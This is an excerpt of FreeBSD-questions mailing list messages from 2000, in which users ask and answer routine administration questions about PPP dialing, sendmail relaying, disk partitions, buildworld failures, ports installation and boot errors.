"i8254"&nbsp; frequency 1193182 Hz<BR>Timecounter "TSC"&nbsp; frequency =
99474055=20
Hz<BR>CPU: Pentium/P54C (99.47-MHz 586-class CPU)<BR>&nbsp; Origin =3D=20
"GenuineIntel"&nbsp; Id =3D 0x52c&nbsp; Stepping =3D 12<BR>&nbsp;=20
Features=3D0x1bf&lt;FPU,VME,DE,PSE,TSC,MSR,MCE,CX8&gt;<BR>real =
memory&nbsp; =3D=20
100663296 (98304K bytes)<BR>avail memory =3D 93990912 (91788K =
bytes)<BR>Preloaded=20
elf kernel "kernel" at 0xc03e3000.<BR>Intel Pentium detected, installing =

workaround for F00F bug<BR>md0: Malloc disk<BR>npx0: &lt;math =
processor&gt; on=20
motherboard<BR>npx0: INT 16 interface<BR>pcib0: &lt;Host to PCI =
bridge&gt; on=20
motherboard<BR>pci0: &lt;PCI bus&gt; on pcib0<BR>isab0: &lt;Intel =
82371FB PCI to=20
ISA bridge&gt; at device 7.0 on pci0<BR>isa0: &lt;ISA bus&gt; on=20
isab0<BR>atapci0: &lt;Intel PIIX ATA controller&gt; port 0x3000-0x300f =
at device=20
7.1 on pci0<BR>ata0: at 0x1f0 irq 14 on atapci0<BR>pci0: &lt;unknown =
card&gt;=20
(vendor=3D0x1036, dev=3D0x0000) at 17.0 irq 10<BR>pci0: &lt;S3 ViRGE =
DX/GX graphics=20
accelerator&gt; at 18.0 irq 11<BR>fdc0: &lt;NEC 72065B or clone&gt; at =
port=20
0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0<BR>fdc0: FIFO enabled, 8 bytes=20
threshold<BR>fd0: &lt;1440-KB 3.5" drive&gt; on fdc0 drive 0<BR>atkbdc0: =

&lt;Keyboard controller (i8042)&gt; at port 0x60,0x64 on isa0<BR>atkbd0: =
&lt;AT=20
Keyboard&gt; flags 0x1 irq 1 on atkbdc0<BR>kbd0 at atkbd0<BR>vga0: =
&lt;Generic=20
ISA VGA&gt; at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0<BR>sc0: =
&lt;System=20
console&gt; at flags 0x100 on isa0<BR>sc0: VGA &lt;16 virtual consoles,=20
flags=3D0x300&gt;<BR>sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on =
isa0<BR>sio0:=20
type 16550A<BR>sio1 at port 0x2f8-0x2ff irq 3 on isa0<BR>sio1: type=20
16550A<BR>ppc0: &lt;Parallel port&gt; at port 0x378-0x37f irq 7 on =
isa0<BR>ppc0:=20
SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode<BR>ppc0: FIFO =
with=20
16/16/15 bytes threshold<BR>lpt0: &lt;Printer&gt; on ppbus0<BR>lpt0:=20
Interrupt-driven port<BR>ppi0: &lt;Parallel I/O&gt; on ppbus0<BR>ep0: =
&lt;3Com=20
3C509-TPO EtherLink III&gt; at port 0x310-0x31f irq 9 on isa0<BR>ep0: =
Ethernet=20
address 00:60:97:6b:e8:f4<BR>ep1: &lt;3Com 3C509-TPO EtherLink III&gt; =
at port=20
0x210-0x21f irq 5 on isa0<BR>ep1: Ethernet address =
00:60:97:6b:e9:7c<BR>sbc0:=20
&lt;Creative SB16/SB32&gt; at port 0x220-0x22f,0x300-0x301,0x388-0x38b =
irq 10=20
drq 0,5 on isa0<BR>pcm0: &lt;SB DSP 4.13&gt; on sbc0<BR>IP Filter: =
v3.4.8=20
initialized.&nbsp; Default =3D pass all, Logging =3D enabled<BR>ad0: =
1628MB=20
&lt;QUANTUM FIREBALL_TM1700A&gt; [3309/16/63] at ata0-master =
WDMA2<BR>Mounting=20
root from ufs:/dev/ad0s1a<BR>module_register: module netgraph already=20
exists!<BR>linker_file_sysinit "netgraph.ko" failed to register!=20
17<BR>aftica#<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Any ideas?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>thanks</DIV>
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yeap, at first I thought someone was trying to subscribe me lol

I think majordomo does (ablest I hope it does)

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On Fri, Dec 22, 2000 at 10:51:49PM +0100, Cliff Sarginson wrote:
> On Fri, Dec 22, 2000 at 08:52:52AM -0800, Luigi Rizzo wrote:
> > > Hey.
> > > 
> > > Did anybody suceed with fd1720 flopies ?   I couldn't write any single
> > > 1720K image there.
> > 
> > you must fdformat /dev/fd0.1720 (check syntax) first, otherwise
> > the write fails when it hits the first sector (sec.19 track 0) which
> > is supposed to be there but is not
> > 
> > Note that almost surely you won't be able to boot from that disk.
> > 
> Note also that if you have bad luck you can  physically break the floppy drive
> doing this :(
> You have been warned !

I've never seen a drive broken by this.  I used to use 11 sec/82 track
formats years ago under cp/m systems. :)   [It's really useful having
the code to the O/S]

Joe


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Yes...check out the handbook at www.freebsd.org.

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On Fri, 22 Dec 2000, brian wrote:

> Is it possible for UnixBSD to exist with Windows  98 on the same
> computer?
> Do you have information online that talks about this?
> Thanks
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Number: 1 #
Installation period I fillup "Network Configuration" tools .
and next FBSD give me a option that :-
" PPP command is now started on VTY3 (type ALT-F3 to interact with it,
ALT-F1 to switch back here. If you are using PAP or CHAP login simply
enter "dial" otherwise you'll need to use the "term" command which starts
terminal
emulator which you can use to talk to your modem and dial the service
provider.
Once you're connected, come back to this screen and press return."

I use "dial" command and connection is alright. After complete FBSD
installation
in / I use again "dial" command but  error: dial command not found. WHY ?
Do I need to edit anything which "Network Configuration" tools not done ?
Please help which command help me to dial the service provider from my
/home/satyajit  ?

Number 2 #

I want to read all previous message which already asked and answer in
question@freebsd.org
where I find ?
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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of New Star
}Service Company
}Sent: Saturday, December 23, 2000 9:00 AM
}To: freebsd-questions@FreeBSD.ORG
}Subject: newbie home user have few question kindly help.
}
}
}Number: 1 #
}Installation period I fillup "Network Configuration" tools .
}and next FBSD give me a option that :-
}" PPP command is now started on VTY3 (type ALT-F3 to
}interact with it,
}ALT-F1 to switch back here. If you are using PAP or CHAP login simply
}enter "dial" otherwise you'll need to use the "term" command
}which starts
}terminal
}emulator which you can use to talk to your modem and dial the service
}provider.
}Once you're connected, come back to this screen and press return."
}
}I use "dial" command and connection is alright. After complete FBSD
}installation
}in / I use again "dial" command but  error: dial command not
}found. WHY ?
}Do I need to edit anything which "Network Configuration"
}tools not done ?
}Please help which command help me to dial the service
}provider from my
}/home/satyajit  ?
}
Answer #1: It's been so long since I've used dialup, I'll leave it for
someone else who's more sure of the ppp workings.

}Number 2 #
}
}I want to read all previous message which already asked and answer in
}question@freebsd.org
}where I find ?
}Maybe I find my other questions answer which also face other newbie.
}
Answer #2: http://www.freebsd.org/search/search.html#mailinglists
There's a couple here... one for search engine for FAQ and Handbook,
and the other is for searching the mailing lists, a great source of
info.
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> Or you can TRY use Microsoft LAN manager DOS client (you can find it
> on ftp.microsoft.com) I had no success with it (could not configure
> network card)

watch out when installing this onto a machine with windows as well, I had to
do serious fiddling to get my windows98 machine working again after i
installed the ms dos client

The package you want btw (available in ports) is samba
(http://www.samba.org)



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re #1 not entirely sure, but is the PPP file set to the same access level as
the person dialling, I found on my system I have to be root to dial, (but
only evoke it when booting so is not a problem)

regards

Kathy

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> Number: 1 #
> Installation period I fillup "Network Configuration" tools .
> and next FBSD give me a option that :-
> " PPP command is now started on VTY3 (type ALT-F3 to interact with it,
> ALT-F1 to switch back here. If you are using PAP or CHAP login simply
> enter "dial" otherwise you'll need to use the "term" command which starts
> terminal
> emulator which you can use to talk to your modem and dial the service
> provider.
> Once you're connected, come back to this screen and press return."
>
> I use "dial" command and connection is alright. After complete FBSD
> installation
> in / I use again "dial" command but  error: dial command not found. WHY ?
> Do I need to edit anything which "Network Configuration" tools not done ?
> Please help which command help me to dial the service provider from my
> /home/satyajit  ?
>
> Number 2 #
>
> I want to read all previous message which already asked and answer in
> question@freebsd.org
> where I find ?
> Maybe I find my other questions answer which also face other newbie.
>
>
>
>
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The ppp man page states that you must be a member of the group network to
call ppp as non-root.

On Sat, 23 Dec 2000, Kathy Quinlan wrote:

> re #1 not entirely sure, but is the PPP file set to the same access level as
> the person dialling, I found on my system I have to be root to dial, (but
> only evoke it when booting so is not a problem)
>
> regards
>
> Kathy
>
> ----- Original Message -----
> From: "New Star Service Company" <nestar@globalctg.net>
> To: <freebsd-questions@freebsd.org>
> Sent: Saturday, December 23, 2000 9:59 PM
> Subject: newbie home user have few question kindly help.
>
>
> > Number: 1 #
> > Installation period I fillup "Network Configuration" tools .
> > and next FBSD give me a option that :-
> > " PPP command is now started on VTY3 (type ALT-F3 to interact with it,
> > ALT-F1 to switch back here. If you are using PAP or CHAP login simply
> > enter "dial" otherwise you'll need to use the "term" command which starts
> > terminal
> > emulator which you can use to talk to your modem and dial the service
> > provider.
> > Once you're connected, come back to this screen and press return."
> >
> > I use "dial" command and connection is alright. After complete FBSD
> > installation
> > in / I use again "dial" command but  error: dial command not found. WHY ?
> > Do I need to edit anything which "Network Configuration" tools not done ?
> > Please help which command help me to dial the service provider from my
> > /home/satyajit  ?
> >
> > Number 2 #
> >
> > I want to read all previous message which already asked and answer in
> > question@freebsd.org
> > where I find ?
> > Maybe I find my other questions answer which also face other newbie.
> >
> >
> >
> >
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On Sat, 23 Dec 2000, Jason Halbert wrote:

> Instead of having to add the host of everyone that has a shell and
> allowing them to relay, since most of them are on dial-up, is it
> possible to require a username and password auth. for them to send
> mail to the SMTP server?  That way only authorized users with a shell
> would have access and then by default when I add a user they are ready
> to go without me needing to modify files?

Yes, you can do that. It's not something that a newbie would
want to try, in my estimation. It took me a while to get it
working, and I've been doing this for a while. I'll be glad
to help you with it if you wish, but I don't have unlimited time.

The access database actually doesn't take individual IPs. It
takes domains.  So, if you have a bunch of friends on the
same ISP, you can just open it up for the whole domain of the ISP.

IE; if they are all using blapwart.net, then you just put in

blapwart.net RELAY

and they can all relay.

This stuff looks hard to you right now, but it's really not
that bad once you get the idea.

-Jim Durham





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Thanks to helpful list memeber I now understand how to switch console modes.

However, when I do "vidcontrol 132x25, the console clears itself, and places a new
command prompt in the uper left hand corner of the screeen, so far, so goo. Heree's
where the trouble begins. If I just hit {RETURN} the cursor does move down one
line, but the new prompt is about 2/3 of the way across th scree, Something like
this:

wateral#
													   watera;#


And it gets worse after that. Looks a lot lke the classic printer/terminal NL/CR
problem.

Can anyone susgest what I might be doing wrong?

-- 
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Hello,

How can I make 'top' show CPU states of both CPUs instead of
one?

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I have been trying to update from 3.4 to 4.2. I pulled down everything with
the cvsupit and followed directions from the /usr/src/UPDATING, handbook and
user archives

http://www.freebsd.org/cgi/getmsg.cgi?fetch=51796+57580+/usr/local/www/db/te
xt/2000/freebsd-stable/20001015.freebsd-stable

However, no matter what I do, the

make buildworld

produces the following error:

....

mkdep -f
.depend -a    -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ld/i386 
-I/usr/src/gnu/usr.bin/binutils/ld -I/usr/src/gnu/usr.bin/binutils/ld/../lib
bfd/i386 -I/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/inc
lude -DDEFAULT_EMULATION=\"elf_i386\" -DTARGET=\"i386-unknown-freebsdelf\" -
DSCRIPTDIR=\"/usr/obj/usr/src/i386/usr/libdata\" -I/usr/src/gnu/usr.bin/binu
tils/ld/../../../../contrib/binutils/ld -DVERSION=\"2.10.1\" -DBFD_VERSION=\
"2.10.1\" -I/usr/obj/usr/src/i386/usr/include  eelf_i386.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldcref.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldctor.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldemul.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldexp.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldfile.c
ldgram.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldlang.c
ldlex.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldmain.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldmisc.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldver.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldwrite.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/lexsup.c
/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/mri.c
ldgram.c:2544: unterminated character constant
ldgram.c:1010: unterminated `#if' conditional
mkdep: compile failed
*** Error code 1

Stop in /usr/src/gnu/usr.bin/binutils/ld.
*** Error code 1

Stop in /usr/src/gnu/usr.bin/binutils.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Stop in /usr/src.
*** Error code 1

Any ideas?

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It was someone who had the -questions email as there reply-to address.  So
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Alex Obradovic wrote:
> 
> I have been trying to update from 3.4 to 4.2. I pulled down everything with
> the cvsupit and followed directions from the /usr/src/UPDATING, handbook and
> user archives
> 
> http://www.freebsd.org/cgi/getmsg.cgi?fetch=51796+57580+/usr/local/www/db/te
> xt/2000/freebsd-stable/20001015.freebsd-stable
> 
> However, no matter what I do, the

I just did a cvsup of RELENG_4 and the buildworld went through just
fine. You might try 

cd /usr/obj
chflags noschg *
rm -rf *

and see if that help. The build uses yacc to generate ldgram.c in
/usr/obj.

You might have also to update to 3.5 before you go to 4.2.

Kent

> 
> make buildworld
> 
> produces the following error:
> 
> ....
> 
> mkdep -f
> .depend -a    -D_GNU_SOURCE -I- -I. -I/usr/src/gnu/usr.bin/binutils/ld/i386
> -I/usr/src/gnu/usr.bin/binutils/ld -I/usr/src/gnu/usr.bin/binutils/ld/../lib
> bfd/i386 -I/usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/inc
> lude -DDEFAULT_EMULATION=\"elf_i386\" -DTARGET=\"i386-unknown-freebsdelf\" -
> DSCRIPTDIR=\"/usr/obj/usr/src/i386/usr/libdata\" -I/usr/src/gnu/usr.bin/binu
> tils/ld/../../../../contrib/binutils/ld -DVERSION=\"2.10.1\" -DBFD_VERSION=\
> "2.10.1\" -I/usr/obj/usr/src/i386/usr/include  eelf_i386.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldcref.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldctor.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldemul.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldexp.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldfile.c
> ldgram.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldlang.c
> ldlex.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldmain.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldmisc.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldver.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/ldwrite.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/lexsup.c
> /usr/src/gnu/usr.bin/binutils/ld/../../../../contrib/binutils/ld/mri.c
> ldgram.c:2544: unterminated character constant
> ldgram.c:1010: unterminated `#if' conditional
> mkdep: compile failed
> *** Error code 1
> 
> Stop in /usr/src/gnu/usr.bin/binutils/ld.
> *** Error code 1
> 
> Stop in /usr/src/gnu/usr.bin/binutils.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Stop in /usr/src.
> *** Error code 1
> 
> Any ideas?
> 
> Thanks.
> 
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From owner-freebsd-questions  Sat Dec 23 10:42:30 2000
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Also in ppp.conf you need to add a line in your default section if you 
find it appropriate:

allow user(s) name1, name2

or

allow user(s) *


----- Original Message -----
From: Wesley Morgan <morganw@chemikals.org>
Date: Saturday, December 23, 2000 10:06 am
Subject: Re: newbie home user have few question kindly help.

> The ppp man page states that you must be a member of the group 
> network to
> call ppp as non-root.
> 
> On Sat, 23 Dec 2000, Kathy Quinlan wrote:
> 
> > re #1 not entirely sure, but is the PPP file set to the same 
> access level as
> > the person dialling, I found on my system I have to be root to 
> dial, (but
> > only evoke it when booting so is not a problem)
> >
> > regards
> >
> > Kathy
> >
> > ----- Original Message -----
> > From: "New Star Service Company" <nestar@globalctg.net>
> > To: <freebsd-questions@freebsd.org>
> > Sent: Saturday, December 23, 2000 9:59 PM
> > Subject: newbie home user have few question kindly help.
> >
> >
> > > Number: 1 #
> > > Installation period I fillup "Network Configuration" tools .
> > > and next FBSD give me a option that :-
> > > " PPP command is now started on VTY3 (type ALT-F3 to interact 
> with it,
> > > ALT-F1 to switch back here. If you are using PAP or CHAP login 
> simply> > enter "dial" otherwise you'll need to use the "term" 
> command which starts
> > > terminal
> > > emulator which you can use to talk to your modem and dial the 
> service> > provider.
> > > Once you're connected, come back to this screen and press return."
> > >
> > > I use "dial" command and connection is alright. After complete 
> FBSD> > installation
> > > in / I use again "dial" command but  error: dial command not 
> found. WHY ?
> > > Do I need to edit anything which "Network Configuration" tools 
> not done ?
> > > Please help which command help me to dial the service provider 
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I have no need for crypto things (Kerberos, OpenSSL, OpenSSH, etc.)
since this box is not a Web server and I don't have access to external
computers that would let me SSH into it.

Therefore, is it reasonable to set the NOCRYPT option in
/etc/make.conf? Will that not install any base crypto code?

However, how are login passwords handled? Is that separate from
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On Fri, Sep 22, 2000 at 11:56:41PM -0400, Matthew Emmerton wrote:
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I think it's the other way around (i.e., 2 is stdout and 1 is stderr).
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On Fri, Sep 22, 2000 at 12:10:48PM +0300, Odhiambo Washington wrote:
> Here are what they suggested;
> 1. In a Perfect World:-) "| exec /usr/local/bin/procmail #vedette"
> 2. Almost Perfect World: "| exec /usr/local/bin/procmail USER=3Dvedette"
> 3. In Another world: "| IFS=3D' ' ; exec /usr/local/bin/procmail #vedette"
> 4. Different world: "| IFS=3D' ' ; exec /usr/local/bin/procmail USER=3Dve=
dette"
> 5. Smrsh world: "| /usr/local/bin/procmail #vedette"

None of the above for me. I use Sendmail and have told it to use
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I understand that the maximum number of partitions per slice is 8, but I
can't seem to get all 8.

When I installed FreeBSD 4.1 RELEASE, I was only able to create this mouting
scheme:

/dev/ad0s2a on / (ufs, local)
/dev/ad0s2d on /home (ufs, local)
/dev/ad0s2g on /tmp (ufs, local)
/dev/ad0s2e on /usr (ufs, local)
/dev/ad0s2h on /usr/src (ufs, local)
/dev/ad0s2f on /var (ufs, local)

That's 7 to me (with swap...hmm, but with the all-encompassing "c" partition
that does bring everything to 8). When I tried creating other partitions, I
got an X next to them in disklabel.

Is there something I'm doing wrong?=20
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On Sun, Sep 24, 2000 at 08:01:35PM -0500, Mike Meyer wrote:
> Not realizing that you've got all 8 partions. They're a-h. If you need
> to add another file system, you're going to have to point the c
> partition at it.
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I was under the impression that the "c" should be left alone. So you're
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On Mon, Sep 25, 2000 at 08:12:57AM -1000, Wai Chan wrote:
> I have a box called abc.abc.com.  I would like abc.abc.com masquerade as
> xyz.abc.com.
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Create an .mc file. Put this in it:

MASQUERADE_AS(`xyz.abc.com')
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On Mon, Oct 02, 2000 at 11:27:33AM +0930, Matthew Salkeld wrote:
> Hi,
> 
> After a re-install of FreeBSD 4.0R, I am having trouble
> with fetchmail 5.3.0. It gives the following error:
> 
> 
> /usr/libexec/ld-elf.so.1: Shared Object "libssl.so.1" not found
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The package is compiled with SSL support, and you don't have SSL installed.
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Some stations only broadcast in Windows Media Player format. Is there any
way to use FreeBSD to play this format?

I installed wine and tried running WMP, but it really doesn't work.
RealPlayer 7 in the ports collection (for Linux) doesn't play that format,
either.

Any ideas?
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On Sat, Oct 07, 2000 at 04:29:09PM +0300, Odhiambo Washington wrote:
> Hi
> I am planning on upgrading my 3.5-STABLE to 3.5.1-STABLE bu not I am not
> sure which RELENG tag to use?
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RELENG_3
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Hi,
Can someone point me out to an application for extracting winzip files?
I'm not on the list, so please reply to this e-mail address.



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On Tue, Oct 03, 2000 at 06:52:02PM -0500, David J. Kanter wrote:
> Some stations only broadcast in Windows Media Player format. Is there any
> way to use FreeBSD to play this format?
Window Media Player really plays many formats. Some you can play with 
mtvp (/usr/ports/graphics/mtv : MPEG)
some with xanim (several QuickTime formats)
some with avifile (/usr/ports/graphics/avifile): it uses Windows
decoder DLLs, so can play any format which is supported by WMP.

-- 
Igor Robul, Unix System Administrator & Programmer @ sanatorium "Raduga", 
Sochi, Russia
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On Sat, 23 Dec 2000, Vasil Slavov wrote:

> Hi,
> Can someone point me out to an application for extracting winzip files?
> I'm not on the list, so please reply to this e-mail address.

/usr/ports/archivers/zip

G

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I just want to wish all of the sheer geniouses who made and continue to
make FreeBSD the best OS on the planet, the very best of holidays!

My quality of life as an admin (and the amount of time Im NOT at work) has
improved dramatically since I left SCO for FreeBSD - I owe ya guys (and
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Dear gentleman,

I respectfully request your help in order to get a problem i am facing
after installing pike via ports colletion under a freebsd box.

I am installing it the usual way (cd /usr/ports/lang/pike; make
install). The installation process goes perfectly, but when i try ro tun
a single program, say:

#!/usr/local/bin/pike

int
main()
{
        write("Welcome to the Very Simple WWW Browser!\n");
        return 0;
}

I get the following error message:

grios@etosha$ ls
single.pike
grios@etosha$ ./single.pike 
No error recovery context!
Couldn't load master program. (/usr/local/pike/7.0.78/lib/master.pike)
grios@etosha$ 


I would like to know if you could send a bug fix for that ?

And if i try to deinstall it, i get:
etosha# make deinstall
===>  Deinstalling for pike-7.0.78
pkg_delete: unable to completely remove directory
'/usr/local/lib/pike/modules/Sql.pmod'
pkg_delete: unable to completely remove directory
'/usr/local/lib/pike/modules'
pkg_delete: unable to completely remove directory '/usr/local/lib/pike'
pkg_delete: couldn't entirely delete package (perhaps the packing list
is
incorrectly specified?)
etosha#


Is it very strange i cannot completelly remove tha package?
Any suggest about why such an error occurs?

Thanks a lot for your time and cooperation.

best regards.


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On Thu, 21 Dec 2000, Edwin Groothuis wrote:

> On Thu, Dec 21, 2000 at 09:44:34AM -0500, mysql-freebsd wrote:
> > There is this huge difference between 767 MB reported occupied by df
> > and 14 MB of the sum of all teh files. Looks as if somebody got
> > in, made an invisible partition within /var.
> 
> Looks like a daemon which has files still open although they don't
> exist in the directory-table anymore. Reboot is one solution :-)
> 
> The other option is to find the evil process which has still these
> files open, use lsof (/usr/ports/*/lsof) for it: 
> 				/usr/local/sbin/lsof | grep var

Or try http://tribble.ilrt.bris.ac.uk/~cmjg/unix/scripts/openfiles

(usage: openfiles /var)

no rocket science, it just finds open files which don't appear in the
filesystem.

-- 
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Hi, when i try to install a source code using gmake (installed from freebsd 
packages) i get this error:
/usr/libexec/ld-elf.so.1: Shared object "libutil.so.3" not found

How can i solve this? i'm using freebsd-3.5-stable, and i also could not 
install mysql-server, because i didnt have lib-so-4 (something like that).

Now, i feel what's to be "open source", it's a deep depresion, that 
nothing/nobody helps you, and your system is called "stable", but you cant 
install anything.
It's very different a computer in your home to play with it, than a server 
24 working that you cant stop, buy the lastest freebsd ver, and install it.

I dont call freebsd-3 "stable", it's a bogus version, it has not libraries. 
I would have understood that i was (am)not able to admin a system like 
freebsd, because i'm too young. but, now, the bussiness is up anbd running 
and i cant reinstall another os (linux maybe).

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The evidence suggests that "Jim Durham" wrote:

> On Sat, 23 Dec 2000, Jason Halbert wrote:
>
> > Instead of having to add the host of everyone that has a shell and
> > allowing them to relay, since most of them are on dial-up, is it
> > possible to require a username and password auth. for them to send
> > mail to the SMTP server?  That way only authorized users with a
shell
> > would have access and then by default when I add a user they are
ready
> > to go without me needing to modify files?
>
> Yes, you can do that. It's not something that a newbie would
> want to try, in my estimation. It took me a while to get it
> working, and I've been doing this for a while. I'll be glad
> to help you with it if you wish, but I don't have unlimited time.
>
> The access database actually doesn't take individual IPs. It
> takes domains.  So, if you have a bunch of friends on the
> same ISP, you can just open it up for the whole domain of the ISP.
>
> IE; if they are all using blapwart.net, then you just put in
>
> blapwart.net RELAY
>
> and they can all relay.
>
> This stuff looks hard to you right now, but it's really not
> that bad once you get the idea.
>
> -Jim Durham
>

I wouldn't exactly call myself a newbie.  I'm just spreading out and
doing more with BSD then I have before.  I was happy for a long time
running X and BitchX and just going on my merry way.  This all started
a couple of months ago when one friend asked for a shell so he could
ftp, and then another and another.  Then I wanted them to be able to
do more and so on...  I've been able to figure out a lot of stuff and
I only run here for help when I'm truly unable to get something to
work.

But I digress.  Alas, no my friends arent on the same ISP.  I'm sure
this wouldn't be hard if there were clear instructions for doing it.
I just haven't figured out exactly how sendmail does stuff yet.

I also don't have a lot of time to deal with this.  I prefer my server
to sit in the broom closet and collect dust and just do its job with
little supervision, as it were and as BSD machines are known to do.  I
need to spend more time using it and not setting it up.

So... bring it on.  What do I have to do? =)

---
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On Sat, Dec 23, 2000 at 05:31:48PM +0000, Gustavo Vieira Goncalves Coelho Rios wrote:
> I respectfully request your help in order to get a problem i am facing
> after installing pike via ports colletion under a freebsd box.
óould you specify your FreeBSD version, and ID string from the port Makefile?

It's also be helpful if you said what options was selected when you build
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	Greetings,

	I recently downloaded all of FreeBSD 4.2, including sources, but am not 
able to install from the place I have all the files - on another Windows 
partion (Not C:).  I find the 8 partition limitation very, well, limiting.. 
:)  I don't have any apparent way to have FreeBSD recognize my other 
Windows partitions or my ZIP drive for an installation.

	Is there any way around this problem?

	Was my download time wasted??

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Is there any reason that I should NOT upgrade to a later version of perl, than is
bundled by default with STABLE?


-- 
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I can't think of any reason :)

- Jim

At 03:54 PM 12/23/2000 -0500, Stan Brown wrote:
>Is there any reason that I should NOT upgrade to a later version of perl, 
>than is
>bundled by default with STABLE?
>
>
>--
>Stan Brown     stanb@awod.com                                    843-745-3154
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>         a graphical shell for a 16-bit patch to an 8-bit operating system
>         originally coded for a 4-bit microprocessor, written by a 2-bit
>         company that can't stand for 1 bit of competition.
>-
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>
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Tim McMillen <timcm@umich.edu> types:
> 	Ok, I've seen this recommendation a lot now.  Is this because the
> ffs filesystem is so much more robust now than it was?  Because reading
> through the 4.4BSD SMM it strongly recommends different partitions to
> guard against problems in one filesystem taking out the whole system.
> As a home user, downtime really doesn't matter to me.  I make backups and
> if I had to reinstall due to filesystem corruption, I would be fine.  But
> I like to understand the security and reliability implications of what I
> do.  So I take it separate filesystems are not as necessary as they
> once were?  Thanks,

It's a combination of things. ffs is more robust than it used to
be. Disk drives have higher MTBFs than they used to. Downtime for a
home system is less expensive than it was for the timesharing systems
that were common when the SMM was originally written. All of these add
up to the expected pain of a disk failure with single large partitions
being lower than the expected pain of running with multiple smaller
partitions, making a single partition the better bet for system
software.

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hi there,

i know that IRDA is currently not supported, but does someone knows when
it will be?

if someone has a hack/driver that i can use with 4.2 and my laptop-irda
to sync my palm - you are welcome :-))

thanks in advance and merry x-mas
klaus


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Jason Halbert <res02jw5@gte.net> types:
> Here's my goal:
> I have a [small, I guess] server.  I give out shells to my friends and
> let them host their web sites on it and let them use it for storing
> files and such.  I thought it would be cool to have my own mail
> servers and stuff so everyone that has a shell could have an e-mail at
> my domian.
> 
> Instead of having to add the host of everyone that has a shell and
> allowing them to relay, since most of them are on dial-up, is it
> possible to require a username and password auth. for them to send
> mail to the SMTP server?  That way only authorized users with a shell
> would have access and then by default when I add a user they are ready
> to go without me needing to modify files?

Why bother having them send mail to your SMTP server? Especially when
it's becoming common for ISPs to disallow clients to access any
external SMTP server as an anti-spam measure.

Instead, have them send mail through their ISPs SMTP server, configure
their UMA to use their email address in your domain, and read mail
from your pop server. You might also show them how to set up a forward
from your server to their ISP, so they don't have to check them both.

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Hello!

One on my FreeBSD boxes is an "old" :) 3.5-STABLE, made about 9 months ago.

Now I'ld upgrade it to the latest 3.5.1-STABLE, so I CVSupped it few days ago.
(I upgraded also the ports collection)

Unfortunately, I forgot what was the correct procedure to build/install world & kernel on 3.5 series! :((
During last months I only upgraded 4.x boxes, so, also if this is a very silly question, could someone, please remember me if the following procedure is correct for 3.5 too ?

cd /usr/src
make buildworld
make buildkernel KERNEL=<mykernelfile>
make installkernel KERNEL=<mykernelfile>
shutdown now  (instead of boot -s)
make installworld
mergemaster -c -v -s
reboot

?

Hoping in your patience! O:-)

TIA a lot anyway!



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bye!

Ale

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Howdy,

My old Hdd controller died, so I replaced it with a udma one..... which =
has changed the drive from ad0 to ad4, after much stuffing around, I =
added ata-2 to the kernel,a nd recompiled, and have also added ad4 and =
ad5 to /dev - but I still get the following error on boot up;

ad4:14594MB <ST513320A> [29691/16/63] at ata2-MASTER using DMA66
Mounting root from ufs:/dev/ad4s1a
swapon /dev/ad4s1b: No such file or directory
Automatic boot in progress
Can't stat /dev/ad4s1a: No such file or directory
Can't stat /dev/ad4s1a: No such file or directory
/dev/ad4s1a: CAN'T CHECK FILE SYSTEM
/dev/ad4s1a: UNEXPECTED INCONSISTANCY; RUN fsck MANUALLY.

The dead controller is totally disabled in the motherboard bios....=20

The udma controller is a highpoint/hightech one... I have plugged the =
drive into other machines, where it identified as ad0, and boots =
normally (thats how I built the new kernel, and added /dev entries)

the fstab points to ad4 for the mount points also... and I have searched =
the mailist list archive - thats how I found out that I should build =
ata2 ata3 into the kernel (and thats all I could find about my problem)

Any help that anyone could provide would be gratefully received!

(merry xmas, and drive safely)

regards
james

God gave us War, Famine, and Pestilance.... and then she gave us =
politicans to make sure no one missed out
-- Anonymous.=20



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On Sat, Sep 23, 2000 at 12:23:13AM -0500, David J. Kanter wrote:
> On Fri, Sep 22, 2000 at 11:56:41PM -0400, Matthew Emmerton wrote:
> > If you're using ksh or sh as your shell, executing 'command 2>&1 > file'
